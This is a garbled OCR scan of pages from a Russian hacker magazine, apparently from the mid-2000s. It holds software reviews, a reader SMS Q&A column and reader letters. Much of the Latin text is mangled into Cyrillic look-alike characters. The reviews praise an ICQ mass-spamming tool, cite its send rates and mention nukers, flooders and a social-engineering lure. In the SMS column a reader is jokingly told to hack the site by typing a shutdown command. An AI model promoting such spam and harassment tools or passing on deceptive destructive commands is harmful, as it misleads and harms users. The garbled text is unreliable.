ния (размеры этого окна выбираются автоматически при каждом 
новом просмотре или вручную), а выбранные для текущей кар- 
тинки масштаб и угол наклона по желанию сохраняются для ис- 
пользования в следующем. Если размеры загружаемого изобра- 
жения слишком велики или малы, то они могут быть автоматически 
подогнаны для соответствия открытому окну. Представлена функ- 
ция демонстрации картинок на весь экран с опциональным 
скрытием курсора и слайд-шоу, для которого задается задерж- 
ка смены и включается/отключается режим перетекания (посте- 
пенное переключение с указываемым количеством шагов и вре- 
менем ожидания 
между ними). Все . — 
проводимые с кар- 
тинками преобра- 
зования записыва- 
ются в историю. 

Списки изображе- 
ний сопровождают- 
ся иконками, их эле- 
менты могут быть от- 
сортированы и пе- 
ремешаны. ѲБІѵ 
поддерживает по- 
пулярную в послед- 
нее время функцию 
работы с коллекци- 
ями картинок. 



Г* 



ѴѴеаіНег$ресІ ѵ 1 .4 

РОЗІХ (*ВЗР, Ппих, Зоіагіз...) 

Зіге (в .дг): 22 Кб 



мированной АЗСІІ-графики. В 
изображении предстает карти- 
на, состоящая из нескольких 
деревьев, функциональной таб- 
лички с обновляемой информа- 
цией о количестве градусов и 
последнем получении данных с 
сервера, постепенно переме- 
щающегося по небу Солнца да цц р 

(или Луны — в зависимости от 

времени суток) с соответствующей погодной сводке облач- 
ностью, а также неугомонных обитателей. Компания последних 
достаточно разнообразна: разъезжающие на заднем плане ав- 
томобили и стартующая с земли ракета, проносящиеся по небу 
самолеты и спутники, прилетающие с целью сесть на табличку 
птицы, проходящая мимо утка со своими утятами, «пробегающая» 
черепаха (выполняющая танцевальный финт во время прохода — 
это разработчики особенно отмечают в документации ;-)), прыга- 
ющий заяц, ползущая улитка, гордо вышагивающий петух, прохо- 
дящий слон и, наконец, персонажи культовой игры Растап. Так- 
же по необходимости проявляются и погодные явления вроде 
до>кдя, снега и града. 

аМиІе ѵ 2.0.0гс8 

РОЗІХ* 

Зіге (в .Ьт2У 1925 Кб 

\ллллл/.агпиіе.огд 

Лицензия: ОІЧІІ 6РІ_ 

АМиІе является р2р-клиентом для всех платформ, выполненным в 
стиле еМиіе. В свое время (осенью 2003 года) проект отделился от 
хМиІе. Портируемость обеспечена использованием библиотеки 
ѵлЛЛ/ісІдеТз в качестве базовой для интерфейса. Внешний вид прог- 
раммы интуитивно понятен, главное меню разбито на список сер- 
веров (с выводом подробной информации о них, возможностью 
сортировки по любому параметру, автоматическим обновлением), 
поиск с результатами в отдельных табах, закачки (как бо\л/пІоасІ, так 
и иріоасі; с фильтрацией по любому полю, сортировкой), открытые 
для доступа файлы, сообщения с собствен- 
ным контакт-листом друзей, подробная ста- 
тистика с графиками, настройки аМиІе. Ис- 
кать можно локально, глобально и через 
Ѵ\ЛЛЛЛ/ с указанием необходимого типа фай- 
ла (аудио, видео, архив и т.п,), расширения, 
минимального/максимального размера, 
его доступности в данный момент. Всем за- 
качкам при желании устанавливаются раз- 
ные приоритеты, на каждую выдается пол- 
ный список источников (по любому пользо- 
вателю доступны и детали), о файле можно 
просмотреть подробные данные и коммен- 
тарии к нему, проверить содержимое на 
подлинность (кроме того, все файлы прове- 
ряются на повреждения при скачивании). 
Приоритеты и обработка поступающих зап- 
росов, а также определение лучших источ- 
ников для закачки определяются автомати- 
чески, так что по умолчанию от пользователя 

не требуется никаких лишних действий. Если 

файлов скачивается очень много, их можно 
для удобства разбивать по категориям. Конфигурация позволяет за- 
давать ограничения по скорости иріоасІ/сІо\л/пІоасІ, числу источни- 
ков и подключений. 



ЖрУ/гоЬоЬиппу.согп/ргоіесТзЛл/еаТІтегзресТ/ 

Лицензия: ѲІЧІІ ѲРІ_ 

Уже давно никого не удивить всевозможными апплетами для сис- 
темного трея и фоном для рабочего стола с текущей информаци- 
ей о погоде в твоем городе, однако иногда хочется порадоваться 
современным технологиям и в консоли. Тогда и приходит на по- 
мощь \Л/еаТІтегЗресТ — простой скрипт, написанный на Регі, кото- 
рый с помощью модуля ѴѴеаТТіег-ЕІпсІегдгоипсІ основательно и не- 
бесполезно оживляет терминальную атмосферу отображением 
текущих метеорологических данных на развлекательный манер. 
После запуска приложения консоль превращается в не прекра- 
щающий движение мир «за окном», представленный в виде ани- 



настраивать отброс 
источников, правила 
безопасности и 
внешний вид (в том 
числе системную ин- 
теграцию в виде 
иконки аМиІе в трее), 
статистику и другие 
параметры прог- 
раммы. 

* В ближайшее время ожидает- 
ся и поддержка \Л/іпбо\л/5. 
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ЕтЕЕрф/кгизасІег.зЕ.пеЕ 



Лицензия: ОБЩ ОРБ 



Кгизасіег — очень развитый файловый менеджер для КРЕЗ, создан- 
ный в лучших традициях, то есть по мотивам ѴѴІпсІо\л/з (ТоЕаІ) 
Соттапсіег. Но данный случай уходит далеко за рамки очередно- 
го унылого клона, что заметно при первом же запуске программы: 
Кгизасіег богат функциями, и все они представлены в очень лаконич- 
ной и удобной форме, не создавая эффекта перегруженности и 
быстро выполняя все поставленные задачи. В дополнение к этому 
панель инструментов (как содержимое, так и ее внешний вид с цве- 
товой гаммой) полностью настраиваема, для многих действий мож- 
но задавать произвольные сочетания клавиш, предусмотрены поль- 
зователькие профайлы, а также создание собственных меню. Боль- 
шое число функций реализовано посредством своих модулей, од- 
нако разработчики не решились игнорировать возможности сто- 
ронних утилит, интегрировав их в Кгизасіег: например, для массовых 
переименований файлов используется Кгепате, для внешнего тер- 
минала — (по умолчанию) Копзоіе, а в качестве альтернативы прод- 
винутому поиску (с поддержкой просмотра архивов) представлен 
его быстрый аналог в виде утилиты ІосаЕе (прямо из меню можно и 
предварительно делать ирбаЕесІЬ). Из встроенных миниприложений 
стоит выделить РетоЕеМап для управлениями сетевыми подключе- 
ниями (позволяет работать с РТР, 5РТР, 5МВ, РІ5Н), менеджер монтиро- 
вания МоипТМап (выполняет тоипТ/итоипТ для всех разделов фай- 
ловой системы, а также е)есЕ для сб/сіѵсі-гот), синхронизатор ката- 
логов (особенно актуально при закачке копии имеющегося на жест- 
ком диске на удаленный сервер) и функцию сравнения директорий, 
собственный текстовый редактор КгѴіе\л/ег (наделенный всеми не- 
обходимыми свойствами вроде поиска, подсветки синтаксиса, ди- 
намического переноса строк, установления отметок и т.п.). Поддер- 
живается работа с архивами в асе, аф Ь2Ір2, дгір, ізо, ІТю, гаг, грт и 
2 Ір (соответствующие утилиты для использования настраиваются так 
же, как и другие внешние приложения), обеспечен сігад-п-сігор со 
многими КЭЕ-приложениями. 



После более чем полугода разработок проект КЭЕ объявил о фи- 
нальном релизе новой версии популярной графической среды для 
ІІІМІХ/ипих-систем — КЭЕ 3.4. Среди ключевых изменений/новшеств в 
КЭЕ 3.4: система перевода текста в речь (ЕехЕ-Ео-зреесЕт) с возмож- 
ностью ее интеграции в различные КЭЕ-приложения; полное обнов- 
ление системы корзины; улучшенный внешний вид панели Кіскег; 
поддержка программой КопЕасЕ разнообразных серверов дгоир- 
\д/аге; поддержка ІЧоѵеІІ Ѳгоирѵл/ізе и БоЕиз Затеііте клиентом обме- 
на сообщений КореЕе; возможность сохранения динамических ико- 
нок устройств в тесііа:/ и на рабочем столе; улучшения в НТМБ-движ- 
ке КНТМБ, в синхронизации между двумя ПК, в работе с иконками на 
рабочем столе; новая утилита АкгедаЕог для чтения новостей в фор- 
мате 1233. Всего было исправлено более 6500 ошибок, исполнено бо- 
лее Е700 пожеланий, добавлены/исправлены миллионы строк кода и 
документации (80 000 пополнений от различных разработчиков). 




Апопутоиз 
Сиезі РгоІеззіопаІ 
ѵЗ.ОО 

ѴѴІп 98/2к/ІЧТ/ХР 



ЗЕтагеѵѵаге 



\ЛАЛАЛ/.5р320Пе.С0ПП 



Привет, хакерюга! Хакерюга — не потому что взламываешь, а по- 
тому что читаешь наш журнал. Ведь ты блюдешь закон и принима- 
ешь информацию только в общеобразовательных целях, да? :) 
Так вот, я отвлекся. Хочешь увеличить конфиденциальность своей 
работы в Сети во много раз? Нет, я, конечно, понимаю, что ты 
бродишь по сайтам исключительно через прокси-сервер, но, 
тем не менее, хочу представить твоему вниманию чудо-зверя 
Апопутоиз СиезЕ. Это инструмент, который предоставляет пол- 
ный спектр возможностей для работы с прокси-серверами. Те- 
перь ты сможешь заставить абсолютно любую программулину 
работать через цепочку НТТР5, ЗОСК34, ЗОСК35 прокси-серве- 
ров, даже если она изначально была против. Анонимуз Гест под- 
держивает и имеет встроенные установки для таких известных 
программных пакетов, как ІпЕегпеЕ Ехріогег, Орега, ОиЕІоок 
Ехргезз, ІСО и др. В программе 

уже есть интегрированный 

проксичекер — система вери- 
фикации работоспособности 
сервера, его типа и скорости 
работы (что немаловажно, сог- 
ласись). Вкупе с ВаІатиЕ ІСО 
Зрісіег эта программа просто 
произвела маленькую револю- 
цию, и она стоит своих денег — 

не побоюсь этого сказать. 



Ваіатігі ІСО Зрісіег 4.01 

ѴѴІп 98/2к/ІЧТ/ХР 



ЗЕтагеѵѵаге 



ѵѵѵѵѵѵ.зрзгопе.сопп 



Есть ли у тебя товар, который ты хочешь предложить большой ау- 
дитории? Ну допустим, ты торгуешь модным женским нижним 
бельем. Как ты поступишь? Будешь искать различные специали- 
зированные форумы, которые посещают лишь самые продвину- 
тые в компьютерном смысле дамы, и постить там свои объявы? 
Логично. Но непрактично и неэффективно. Куда более выгодно 
будет разослать свое сообщение по аське всем, чей пол, воз- 
раст и национальность соответствуют нужному критерию. Бала- 
мут — очень извест- 
ная спамилка, уже 
не первый год при- 
носящая деньги ум- 
ным пользователям. I Г- - 

Может сама регист- I ^ И 

рировать новые уи- ■? 5Д 

ны для «Ео зепб тзд 

Егот», работает, ес- к ^ Щі 

гестеенн ыногопа В І ц 

точно и через прок- 
си (тут-то и придется 
очень кстати софти- 
на Апопутоиз 

ѲиезЕ). Прога ведет 



<150 



лог ответов пользователей на твои рекламные сообщения, что 
иногда бывает очень полезно и забавно. Например, мы с Бубли- 
ком в свое время рассылали всем, кто указал в графе «Город» 
Мозкоѵлл сообщение типа: «Привет. За десять баксов проведу 
ликбез и расскажу, как правильно писать столицу России по-анг- 
лийски». Или просто массово посылали всех куда подальше и чи- 
тали ответы. Весело было. Немного статистики: при наличии мо- 
дема на 33. 6к скорость твоей рассылки составит 700 тзд/тіп, то 
есть12 000 за четверть часа. 

МіпсІ8оіІ ШИШез ХР 8.11 

ѴѴіпХР 

5Ггаге\л/аге 

ЗІ2Ѳ 12,2 Мб _ _ _ _ _ _ _ _ _ 

ѵлллл/.тіпсІзоГІтмеЬ.сот 



Присутствует анализатор всего трафика (и внешнего, и внутрисе- 
тевого-локального), функции файрвола, имеются средства обна- 
ружения попыток атак и вторжений в компьютер, управления за- 
щитой личной информации, создания виртуальной частной сети, 
проверки защищенности тех или иных компонентов системы. В ре- 
зультате работы всех описанных выше утилит по отдельности и в 
комплексе, никакой даже самый современный троянец не смо- 
жет проникнуть в недра твоего стогигового харда и украсть па- 
роль от пятизначной аськи вкупе со всеми деньгами с ВебМани ко- 
шелька. Также перестанут мелькать надоедливые рекламные 
баннеры и попапы. Подозрительные электронные письма будут 
немедленно обследованы, вложения — проверяться. 

Кстати, софтина периодически чекает, все ли последние обнов- 
ления ты слил с сайта МелкоМягких и, в случае чего, делает сво- 
евременные напоминания. Мастхэв однозначно! 



Внимание, внимание! Говорит Германия! Если ты принадлежишь к 
числу пользователей \Л/іпс1о\л/5 ХР юшки, то просто непонятно, как 
ты до сих пор обходился без МіпсІЗоГГ ЕІГІІІГІез ХР. Это же просто 
бомба — набор из более чем 20 утилит, позволяющих настроить и 
оптимизировать твою систему по всевозможным критериям. В па- 
кет, естественно, входит такая полезная и повышающая быстро- 
действие системы утилитка, как дефрагментатор диска (причем 
процесс проходит достаточно быстро — в течение 20 минут). Так- 
же ты сможешь увеличить скорость соединения с интернетом при 
помощи ІпГеІІІРаскадез в промежутках между использованием 
программ очистки диска, восстановлением утерянных файлов, 
испорченных разделов ЕАТ32, !\ПТ5 и ускорением запуска прило- 
жений. Помимо прочего, ты сможешь узнать досконально все от- 
носительно своего железного друга и программного обеспече- 
ния, на нем обитающего. Также тулза поможет высвободить нем- 
ного оперативки, не используя впустую центральный процессор. 
С остальными возможностями МіпсІЗоГГ утилит предлагаю позна- 
комиться самостоятельно. 




ГігеЬаІІ СуЬегРгоІесііоп $иііе 

ѴѴІп 98/1МТ/2к/МЕ/ХР 

ЗГіаге\л/аге 

Зіге: 13,7 Мб 

\ллллл/.гес!саппоп.сот 



ШЫ ідпоге сНескег 

ѴѴІп 98/[\ІТ/2к/МЕ/ХР/2003 

Егееѵтаге 
Зіге - 264 Кб _ 

\ллллл/.азесГіка.ги 



Хай, манито! Если у тебя есть аська, то дальнейшее будет ин- 
тересно. В прошлых номерах журнала мы представляли твое- 
му вниманию тулзу, которая может определить скрытый ІР-ад- 
рес; программку, которая без труда запалит, прячется ли в ин- 
визибле занявший дофига бабла сосед; нюкер клиентов 
1002001-2003; флудилку, заставляющую врага захлебнуться от 
твоих мессаг; спамилку, которая поможет немного поправить 
финансовое положение, и многое-многое другое на тематику 
ІМ! Надо сказать, что появилось средство, которое объединя- 
ет в себе все эти тулзы, но о нем ты узнаешь в следующем ме- 
сяце. А сейчас хочу уже перейти к теме: случалось ли так, что 
некий человек переставал тебе отвечать? Например, девушка 
обиделась и молчит-молчит-молчит. А ты думай-гадай, что же 
случилось? И слышит ли она тебя вообще? Знаешь, как можно 
хитрым способом узнать, не добавила ли нерадивая девка те- 
бя в шитлист? Можно постучать с другого номера и закинуть 
какую-нибудь удочку типа «Привет, это Лена. Я тебе денег 
должна, ответь», ну или задействовать свое воображение и 
сыграть на других 
социальных факто- 
рах. Но это не наш 
путь — мы же ле- 
нивцы. Мы просто 
запустим тулзу ІЛ N 
Ідпоге СГтескег, 
введем НАШ номер 
с паролем в дан- 
ные и нажмем на 
одну кнопочку. 

Все! Обязательное 
условие — прове- 
ряемый чел дол- 
жен быть в Сети 
(инвиз подойдет). 




Данная софтина послужит непробиваемой стеной для твоего 
компьютера при ра- 
боте в Сети. Пакет 
содержит в себе 
многофункциональ- 
ный брандмауэр и 
еще несколько ка- 
чественных утилит, 
повышающих безо- 
пасность твоей сис- 
темы в целом. Ок, 
хватит голословных 
описаний, приведу 
немного конкретных 
примеров (чисто ти- 
па конкретных :)). 



Из 

других 

релизов: 



ВІГТоггепГ 4.0.0, 


ТІтипсІегЬігсі 1.0.2, 


ѲГЮМЕ2.10, 


БігеГох 1.0.2, 


Себеда 4.3, 


ЗатЬа 3.0.13, 


ОрепЗЗН 4.0, 


АиГораскаде 1.0, 


Ресіога Соге 4 ТезГ 1, 


ѲепГоо Ппих 2005.0, 


5ЕІ5Е Ппих ЕпГегргізе Зегѵег 8 5Р4, 


ѴѴГгіГе Вох ЕпГегргізе Ппих 4 РС1, 


Ппзріге 5.0, 


ЕгееВЗО 5.4-РС1, 


ХЕгеевб 4.5.0, 


ІІЬипГи Ппих 5.04, 


Агк Ппих 2005.1, 


КІЧОРРІХ 3.8.1, 


Могіііа 1.7.6, 


йгадопЕІу ВЗЭ 1.2.0. 
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ТРЕПСОММЕЫТ5: 

Привет! Как прошли 
первомайские праздни- 
ки? Отлично? Верю, что 
отлично. Мы и сами оття- 
нулись по полной прог- 
рамме. Правда, даже 
отдыхая, мы всегда на- 
ходились на связи с чи- 
тателями, благодаря то- 
му, что номера наших 
телефонов уже год висят 
на последних страни- 
цах журнала. Интерес- 
но, сколько за все эти 
12 месяцев нам пришло 
сообщений от вас? 
Жаль, никто не вел ста- 
тистику - буферы теле- 
фонные заполнялись, и 
приходилось вычищать 
все мессаги. Но все 
равно, даже за год ин- 
терес читателей к мо- 
бильному общению не 
угас. Читаем свежие 
перлы ниже. 





+79055658975 





^Уіл&А^Л. 


А ) п,. < У\Л/ПЛЛЛЛЛ/2, ШШШ\ 




Ч / у лу 1 // 

+79037916528 


■ЗИуд^ 1 - ✓ V/ » Ч- У \/\~// 1/1/ 1 і X. 

+79265717720 ^ 



Г лавный редуктор Хакера начал платить за 
телефон. Как это произошло — никому 
неизвестно, но факт остается фактом: с читателями 
он беседует, иногда даже ночами. Обычно с 
девушками. Как знать, может, тебе и повезет — 
набирай номер, жди ответа и не унывай :). Даже 
если ты мужчина, он потратит на тебя свое ценное 
время и расскажет часть своей насыщеной 
биографии. Кстати, насчет биографии — наверное, 
лицам до 18 лет нежелательно ей интересоваться :). 



Т ак же, как и в прошлом месяце, Никитос 
возится со своей могучей машиной. Нам 
точно не известно, восьмерка у него или 
девятка, ясно одно — моддить он ее будет по 
полной программе. Супертурбина, большие 
колеса, пулемет на крышу и мобильный хот- 
спот прилагаются. Если хочешь обсудить с ним, 
почему стучат пальцы или не сосут клапана — 
звони. Лучше днем, поскольку ночью он 
способен только материться в трубку и 
размахивать ржавой монтировкой (она 
досталась ему в довесок к машине). 



П о каким вопросам можно обращаться к 
Лозовскому? Да неизвестно. Вот его тут 
спрашивают, как выучить фармакологию, как 
перерисовать экран в РеІрПі, как убить 
Майндворка за хумор, как выписать премию 
Майндворку за креатив, как купить «Хакер» в 
Нижнем Едрищенске-За-Уральем. В общем, 
просто пиши ему смс и не звони до часу дня и 
ночью, а там посмотрим :). 





Ч: Включил комп - сгорели БП и 2ЖД. Как снять самому инфу? АІех_087@е- 
таіі.ги (+ 79216720206 ) 

Сел в машину - задавил насмерть собачку и двух кошечек. Как их са- 
мому воскресить? ЬООЫік@геаІ.хакер.ги 

Ч: #!б:/суд\л/іп/Ьіп/регІ5.8.5 ргіпТ «НосНи зіотаі' котр обпдо когіа. Как еГо 
збеІаГ? (зегѵега и педо пѳТ)/п»: (+ 79171812708 ) 

Слава богу, что у него нет сервера! А то серверные козлы ломаются 
сложно. А вообще, сделай это через сеть, что ли. 

Ч: РогЬ, \у ЬІІ ѵ Регті? ( +79125864077) 

Нет, только в Колупаевке был. А что Пермь - большая деревня? У вас 
там хоть интернет есть? 

Ч: РосГіети Ьу ѵат пе зоібаГ зтз-сНаТ? Кисіа кгисНе діитіі'за ЬибеГ :) 

(+ 79059513001 ) 

Да ну, может, сразу СМС-видоконференцию создадим? 

Ч: Где купить красную кнопку «РЕЗЕТ» с обложки августовского номера? 

(+ 79022313323 ) 

Чувак, ты опаздываешь! Какой августовский номер? За 99 год? 

Ч: РоЬгу ѵесііег РогсІ зтодеИ Ьеі раіеѵа ргоѵегіГ ргоѵа па бігкі. Езіі ЬибеГГ 
іа ГеЬе абгез ргіНІіи. РіНі ТоГко Іа+іпзкіті Ьикѵаті. ( +79286332757) 

Привет. Сам ты Мерседес, блин! 

Ч: Ні! СНіТаІ ѵ 01.2001 оЬ таіі біаІараН... Ые гпаезН, и паз-іо ѵ Ьигде езГ 
Гакіе? (+ 79028799386 ) 

Парни, вы что, сговорились спрашивать о старых номерах X? 

Ч: У меня на выделенке каЬіпеГ, грозятся отключить за сканирование пор- 
тов, уязвимостей и т.п. Как не в палево сканить? (+ 79226187525) 

Я не знаю (ЬООМік). И я не знаю (ММ). Кстати, я тоже не знаю (СиТТег). 
А я знаю, но забыл (йг.КІоипіг). А? Что? СИ ПЛЮС ПЛЮС!!! (ѲогІиМ). 

Ч: Хинт, объясни пожста, что такое сикарашки? 

Сикарашки - это обсиканные мурашки. 

Ч: А че будет если маленького дихромонатрикарбонового человечка за- 
сунуть в флопик? (+ 79067581060 ) 

Он умрет. 

Ч: Помоги ломануть Пентагон, направим ракеты на Грузию ( +79109468257) 
Ах ты расист! Давай лучше вместе стеганем по Тбилиси? 

Ч: Продаю дырки от бублика: большая - 15 руб, маленькая - 10 руб. Опто- 
викам скидки! (+ 79262665480 ) 

1) Гони налог за использование моего ника-лейбла. 2) Что так дешево 
продаешь мои дырки-то? :( 

Ч: ІсІеТ оп ро роіу, ріпаѳТ доѵпо. Воііпкі зіеіеіі - ети ѵзе гаѵпо. КаказГікі 
ІеТаиТ Тиба і $иба. ТакіГі ібіоТоѵ как оп бо Тіда! (+ 79103280975) 



Не смешно, зато про войну. 

Ч: Мои тапочки, живущие под кроватью, одной поздней ночью пробра- 
лись к моему компу и захватили мою единственную мышку. Как же я теперь 
буду играть в Ядерный Титбит? 

Да ладно. Мои перчатки, хостящиеся в шкафу, ночью притащили ка- 
кие-то странные тапочки с заячьими хвостиками. Теперь эти тапки суют мне в 
руки странную шариковую мышку и на ломанном человеческом предлагают 
сыграть в какую-то непонятную игру. 

Ч: Нифига себе! Вы спите что ли?! ( +79026862573 ) 

Офигеть, правда? 

Ч: Куда жать, чтобы ваш сайт хакнуть? ( +79035068502 ) 

Из-под винды: Пуск -> Выключение компьютера -> ЕпТег. Если ты под ник- 
сами, то наш с айт ломается так: пиши в консоли без кавычек «зГіиГбохл/п -Н 
по\л/». Все. Только, плиз, никому не раскрывай секрет, ладно? 

Ч! РгіѵѳТ, уа кгиТоі Накег, уа гебакТог іГіигпаІа і \ллллл/.пзб.ги - тоі заіі! 

(+ 7914856047) 

N30, со всем с тобой согласен, но только слово «крутой» здесь не уместно. 
Ч: Неір!!! Моя подруга не хочет спать со мной! Что мне делать? 

(+ 79035707483 ) 

Спи со мной! 

Ч: Уберите нахрен такой педерастический юмор ( +79167987981 ) 

Чмок, противный! 

Ч: Как выучить фарму? ( +79066518444 ) 

Э-э-э... Бивис, он сказал «фарму»!!! 

Ч: Здрасти посмотрел новое видео и ничего не понял (+ 79035323684) 
Монитор включи. 

Ч: Какая у тебя зарплата? (+ 79165641429 ) 

А я не знаю - нам на карточки начисляют. 

Ч: Языка С++ для хакинга достаточно? (+ 79160176932 ) 

Да не, С++ нафиг не нужен. Достаточно одного НТМІ_'а. 

Ч: А правда, что все хакеры с детства очкарики? ( +79129537220 ) 

Нет, все хакеры очкарики еще с момента зачатия. 

Ч: Привет, N50! Пришли мне пару килобайт І_5й, очень надо, а то комп не 
пашет. ( +79063606855 ) 

ІЛЮ плохо зипуется, а у меня трафика осталось мало. 

Ч: Заіат N50, уа пе Наскег, по ГюсНи 2 паГ', па какоп іаііке Гіакегиіиі 
і ѵ какоу ргодгатте. (+ 79064506916 ) 

X: Хакерят обычно на языке жестов в программе М5 Раіп1\ 

Пятеро чукотских хакеров проникли в сеть, трое погибло. Еще бы, 
там напряжение - 220 вольт. 

X: Остальные двое были съедены. Они попали в рыболовную сеть :( 




+79058033384 
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К: 


+79262368364 


+79165149558 



Х очешь поговорить с главным взломщиком 
журнала? Все хотят, поэтому его телефон 
всегда занят, а иногда даже 
заблокирован. Поэтому народ обычно звонит 
другим членам команды и почему-то просит 
дать аську Форба. А мы не даем, это — военная 
тайна. Просто будь настойчив, звони Форбу 
чаще и общайся, общайся, слушай его 
ангельский, завораживающий голос, которому 
так хочется сообщить все свои пароли :). 



инт, как известно, наш редактор диска. Он 
делает диск, не обращая внимания на 
слезные просьбы, жалобы и предложения 
читателей, которые они ему шлют СМСками, 
почтой и излагают голосом. Если ты все еще 
надеешься проложить путь к его сердцу и 
контенту диска, попробуй позвонить. Мы его 
простимулировали, возможно, теперь он даже 
будет отвечать, а если нет — смело подавай 
жалобу в Гаагский трибунал. Это нарушение 
прав человека. 



О лег — креативщик. Он фонтанирует 
идеями о продвижении журнала 
«Хакер» на российском и международном 
рынке, однако когда Лозовский 
интересуется у Хинта, почему не сдано 
диско, оказывается, что Олег задерживает 
описалово видео по взлому. А может, Хинт 
просто отмазывается? Если хочешь об этом 
поговорить, звони N50. 
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дравствуйте, мои маленькие друзья. Сегодня я недобр, а потому бу- 
ду тихо ругаться и призывать кары на головы нехороших людей. Де- 
ло вот в чем: долгими зимними вечерами рубился я частенько под ни- 
ком АВТОМАТ МР-40 в СЗ 1.5 на самых обычных российских игровых 
серверах. Ну и дорубился. Не подумайте, что я там какой-то мега-иг- 
рок. Так, обычный головорез со стажем и АК-47. Однако в послед- 
нее время удовольствия от контры я практически не получаю. Виной 
тому читеры, которых развелось видимо-невидимо. Приходится из-за них идти 
даже на такое преступление, как ТК. Да, я хладнокровно валю читеров выст- 
релами в голову. Жаль, что в реальной жизни не могу надрать их румяные за- 
ды офицерским ремнем. Рука бы не дрогнула. И ладно бы эти читеры были 
только в игрушках, так ведь и по жизни всякие сынки так и норовят влезть куда 
попало поперек всему. Никакого дзена не хватит. Достают, гады. Вот скажи, 
а тебе читаки всякие жить мешают? Верю. Тогда не поленись и отпиши мне, 
как и чем они достали тебя. Пусть весь народ в их бесстыжие мордасы плю- 
нет слюнями :). 

5шт: асітіпівігаіог <^аттег-КШаІі@таіІ.ги> 

Здравствуйте, У меня вопрос. Какой из бесплатных почтовых серверов лучше 
подходит для массовой рассылки писем? Я имею в виду, у какого сервера 
меньше всего ограничений на количество отправляемых писем? 

Да, хороший вопрос, спасибо большое за него. Уверен, что такой воп- 
рос спасет не одну заблудшую душу. Ведь все чаще в криминальной хрони- 
ке мелькают репортажи о зверских убийствах молодых людей, и по словам 
сотрудников каких надо органов, все жертвы зарабатывали на жизнь так на- 
зываемым компьютерным хулиганством — рассылкой спама. И такие случаи 
уже не единичны, очевидно, что действия банды маньяков-спамофобов коор- 
динируются из единого центра. Так что, дружок, побереги свою бессмерт- 
ную душу, не будь спамером. Спамить — плохо. И иногда это очень вредно 
для твоего драгоценного здоровья. Ну и Кришна с Заратустрой не одобряют. 

Дго.т: иван трощей <23кагак_Ііреі5к48@гатЫег.ги> 

Привет чуваки, недавно наткнулся на такую хрень как Рогех, кто говорит что 
можно заработать хорошо, а кто что это все лохотрон. Хотел спросить у вас 
действительно РОгех это лохотрон или нет. 

ЭСте.: Здравствуй, дорогой Иван, Хорошо, что ты нам написал и поделился 
своими чувствами. Твои опасения мне понятны, я сам очень опасался снача- 
ла, но потом начал вести фундаментальные экономические исследования и 
бояться перестал, К сожалению, я где-то потерял листок со своими исследо- 
ваниями за последние 26 лет, но на память скажу точно: всякое дело потре- 
бует хоть каких-то навыков. 

Если не поленишься, не то что с Форексом разберешься, но и станешь опцион- 
ным трейдером бешеного разряда и будешь колбасить на наждаке со стабиль- 
ными периодами турбодоходностей, а там и депо на фортсе (под фьючерсы, 
само собой) не за горами. В общем, как учит нас товарищ РІІррег, главное — хо- 
роший бычий тренд оседлать под плечо, вопрос только, чем это все кончится. И 
я с ним согласен. А тебе, Иван, рекомендую выписать все встретившиеся в текс- 




Е-МАИСОММЕЫТ5 
Михаил Михин, он же 
Сепіпег, он же Оператор, 
он же Античитер-2 
(сепіпег@геаІ. хакер. ги, 
\ллллл/.сеп1пег.ік) 




те незнакомые слова и подумать, желаешь ли ты инвестировать в 
свой интеллект или просто захотел побаловаться. В любом случае, 
бешеного тебе бабла! 

®ияі: Ламерочек Сахатый <Іатего4ек@таіІ.ги> 

НЕ МОГУ СПРАВИТЬСЯ С ЧЕРВЕМ 

Привет! Извините за глупую просьбу, однако. Недавно залез в сеть 
без должного прикрытия и хватанул какую-то дрянь с рор-ыр. Короче 
постоянно меняется логин и номер телефона в дайл апе. Антивирусы 
эту дрянь не видят, а ехе-шник я и так вроде удалил, но результата все 
равно нет. Да еще на ровном месте выскакивают рор-ир какие-то 
***дские. Помогите. Заодно не могли бы вы подсказать прогу которая 
бы мониторила все процессы запущенные на моей машине и выдва- 
ла бы мне их сіерепсіепсіез. Зарание благодарю и извините за столь 
банальную просьбу — просто я подотстал немного. Спасибо. 

%_іл: Привет-привет, почтеннейший. Ну что же, бывает и такое. 
Мне, конечно, немножко стыдно, но не зная толком, что у тебя за 
система, попробую посоветовать вслепую. Перво-наперво — не 
шастай по каким попало порносайтам, ибо там просто рассад- 
ник всякого. Для диалапа уже пора бы обзавестись отдельной 
программой-звонилкой, а вообще, с диалапа пора пересажи- 
ваться на что-нибудь побыстрее. Теперь по поводу программ: по- 
гугли как следует по словам І?едМоп и РІІеМоп, а для повседнев- 
ного и ежеминутного использования очень рекомендую качнуть 
программу Ргосезз КІІІег с Шр://аІех-І~іоте-рд.пт.ги. Не поленись 
еще и провериться на чистоту рядов каким-нибудь антиспаем по- 
новее, уверен, что откроешь для себя много интересного :). Ну и 
читатели, думаю, тоже что-то посоветуют тебе. Ситуация твоя не 
уникальна, если не сказать, что она вообще обычная. 



САМОЕ ВОЛШЕБНОЕ 
ПИСЬМО МЕСЯЦА 

Ішт: Михаил <аІШ@пеІтап.ш> 

§и Ц: ПОМОГИТЕ В ПОИСКЕ 

Здраствуйте уважаемые! Не могли бы вы подсказать где 
можно купить различные умные вещи? И где можно найти 
описание, схематику и алгоритмы игральных автоматов? 
Заранее благодарен, Михаил. 

ЭСте: Мишаня, друг! Скажу тебе по секрету и чтобы ты не 
волновался заранее: как бы там жизнь ни повернулась, а 
как минимум одну так называемую «умную вещь» ты уже 
имеешь — мы тебе с удовольствием вручим от лица все- 
го ][-сге\л/ суперсекретное устройство РыгасеІІ, наделен- 
ное недюжинным интеллектом (фонарь карманный, 1 
шт.), А вообще, сколько себя помню, умные вещи поку- 
пал в книжных магазинах — там их запас неисчерпаем, А 
вот про игральные автоматы — это ты сгоряча. Самая 
мудрая ссылка, которую я могу посоветовать, — это Уго- 
ловный кодекс, В нем масса интересного по теме. Наде- 
юсь, одного прочтения будет вполне достаточно для 
простого и понятного вывода: практически любая лоте- 
рея или игра с автоматом в любой стране мира — штука 
беспроигрышная. Для устроителей, разумеется. Причем 
зачастую устроителем лотереи выступает как раз госу- 
дарство. А читерство в азартных играх с государством 
— гарантированно чревато боком. И сейчас, прочитав 
эту глубокую мысль, ты повторно стал обладателем оче- 
редной «умной вещи» и преумножил свои залежи жи- 
тейской мудрости :). 



шмокаілнов 

Ь1аск_гщака 

(піпіака@таіІ.ги) 




РАСПОРЯДОК ДНЯ РЕДАКТОРА ][ 

8:00 — Проснулся. Сонный пошел в ванную. Почистил зубы шампу- 1 5:30-1 8:00 — В течение работы найдена пара смешных флеш-игр, 
